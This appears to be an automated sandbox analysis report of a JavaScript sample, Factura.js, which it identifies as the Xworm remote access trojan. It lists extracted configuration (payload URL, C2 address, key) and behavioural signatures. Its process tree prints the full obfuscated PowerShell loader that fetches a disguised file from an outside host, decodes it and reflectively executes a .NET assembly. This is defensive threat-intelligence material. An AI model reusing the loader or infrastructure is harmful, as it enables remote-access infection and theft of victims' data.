Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
13/08/2026, 16:07
General
- Target Factura.js
- Size 1.0MB
- Sample260813-tknp7stdme
- SHA256 fa4d54b4720966445e20a0aeaf1761ea039089ada1b4f4fb3877a51cb6904ac8
Malware Config
Extracted
-
ps1
-
exe.dropper
https://seasquadshipping.com/old/MSI_PRO.png
Extracted
-
xworm
-
5.0
-
103.83.87.158:4040
-
RnkBS8btgLSN4WS2
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Factura.js1⤵
- Creates a file in the Startup directory
- Modifies registry class
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$havenage=''https://seasquadshipping.com/old/MSI_PRO.png''; $compossibility = [System.Net.HttpWebRequest]::Create($havenage); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''*'',''A'').ToCharArray(); [Array]::Reverse($phassachate); $perforati=$phassachate -join ''''; [byte[]]$hobblingly=[Convert]::FromBase64String($perforati); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''dvwQyhKRRZaiaYpO4F5Doqw3Vc6K0hoOxktnRXd9zv4C5xsGSsM6tDeZcBiEYJf4UYgJeyTqt1cAf77rdX29iQ=='','''',''Wull6Moo0Nv5+H2E2oeFEtJ7/dxzkOHbC6AhIMq4CUie/hvDwSU+TNArA/Ayx+au'',''MbKszDhNznlSSpwyjMK9UnjN5HmbNIq4lcDe6TF1Q0g='',''ogt8ZI/AuWjWBrtB6nvXCqMAbeJQ23eyuPUEYtdMq9A='','''',''rHHCI90qwJ8lLmwVkzwt/lmFKleyuIfbIrAEqBm8cHE='','''',''9sxQQmGmKzt2NS2qS4V3/DPd+Pxf8+7b06/w+H90K8A='',''8wtlJA+p2uBWfXr73n8157k+QiCT4iz8yvEDVKvXuCE9hkxO/IG7gKisxlcuQCe4'',''qYUuYsy7SBuRdVvk7Y+3FjXV4ahxSGDQWPUJatzGyMk='',''r6868a+4/8opMZSVquiIhRwTO997gEIWWhqgNo2SVPQ='',''Zm52S6LK6FY9mWSMgeF0q2+Op2UYr0iNOinEMd87ZNM='','''',''g/LUchh18sZp1HunE6EQauKoaI02BZhYUyPk2bt7SIA='',''Xq2ovv1kX6j90w7Q2Z/dSGD+woE8nBalSANIpfZJAF4='','''','''',''''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_1b97c65bd0144a29b939aef4e8b4e406.cs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD548.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC01AFFC0AD6847178A539C7BB61E4819.TMP"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\CasPol.exe"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 45563⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_1c5f49bef33744a283202351d81323ad.cs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD97E.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDBEC813DA3F2448AACCF19A96604BED.TMP"4⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_5c0b53de1dbe464886ef9ad32bad5342.cs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDA78.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDB4641FD474C4ED3BE4924956555D5.TMP"4⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_6f0c4fa90d1b4722a8ddf11f7f530483.cs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD9BC.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD2E72E583FE1431E99BCA43830D9897D.TMP"4⤵
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CasPol.exe
RESD548.tmp
RESD97E.tmp
RESD9BC.tmp
RESDA78.tmp
CSCC01AFFC0AD6847178A539C7BB61E4819.TMP
guardian_src_1b97c65bd0144a29b939aef4e8b4e406.cs
memory/760-40-0x0000000000240000-0x0000000000248000-memory.dmp
memory/2500-12-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2500-3-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2500-0-0x00007FFEB989F000-0x00007FFEB98A0000-memory.dmp
memory/2500-13-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2500-14-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2500-15-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2500-16-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2500-17-0x00000232B8320000-0x00000232B8380000-memory.dmp
memory/2500-11-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2500-10-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2500-21-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2500-4-0x00000232B7CD0000-0x00000232B7CF2000-memory.dmp
memory/2500-5-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2500-6-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2500-7-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2500-8-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/2500-9-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/4556-18-0x0000000000400000-0x0000000000410000-memory.dmp
memory/4556-29-0x0000000007BF0000-0x0000000007BF6000-memory.dmp
memory/4556-28-0x0000000008C10000-0x0000000008C44000-memory.dmp
memory/4556-44-0x000000000A800000-0x000000000B63C000-memory.dmp
memory/4556-46-0x000000000B640000-0x000000000C098000-memory.dmp
memory/4556-27-0x0000000006630000-0x0000000006696000-memory.dmp
memory/4556-26-0x0000000074702000-0x0000000074703000-memory.dmp
memory/4556-41-0x0000000009EA0000-0x0000000009F1C000-memory.dmp
memory/4556-42-0x0000000009F30000-0x0000000009F38000-memory.dmp
memory/4556-25-0x0000000006500000-0x000000000650A000-memory.dmp
memory/4556-24-0x0000000006520000-0x00000000065B2000-memory.dmp
memory/4556-23-0x0000000005DC0000-0x000000000637A000-memory.dmp
memory/4556-22-0x0000000005660000-0x00000000056FC000-memory.dmp
memory/4556-20-0x0000000074702000-0x0000000074703000-memory.dmp
memory/4556-66-0x000000000F070000-0x000000000F232000-memory.dmp